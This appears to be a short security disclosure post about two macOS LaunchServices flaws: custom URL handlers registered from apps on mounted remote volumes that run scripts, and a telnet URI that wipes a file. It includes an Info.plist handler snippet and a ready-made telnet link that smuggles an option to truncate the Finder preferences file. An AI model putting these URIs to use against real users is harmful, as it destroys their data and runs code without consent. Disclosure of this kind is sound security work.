<PRE>Apple released a fix for the Help Viewer Problem described by lixlpixel.
But during different tests some really serious problems turned out.

1) MacOS X LaunchService Vunerability
Mount a FTP/DAV/SMB/AFS-Volume with an application in it
which registers a new protocol handler i.e. test:, and if that
handler is called, the script will be executed.

Example from Info.plist:
[...]
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleURLName</key>
<string>Test</string>
<key>CFBundleURLSchemes</key>
<array>
<string>test</string>
</array>
</dict>
</array>
[...]

2) Telnet URI Handler File Creation/Truncation Vulnerability
It is possible to wipe/zeroing a file using a telnet URI.

Example: <A HREF="telnet://-nlibrary%2Fpreferences%2Fcom.apple.finder.plist">telnet://-nlibrary%2Fpreferences%2Fcom.apple.finder.plist</A>

This effects all browsers which are passing telnet URIs back the
LaunchServices (thanks to fukami to make this clear to me).

Jason Harris from Unsanity provided a haxie called Paranoid Android
which pops up when a weird protocol handler is called.
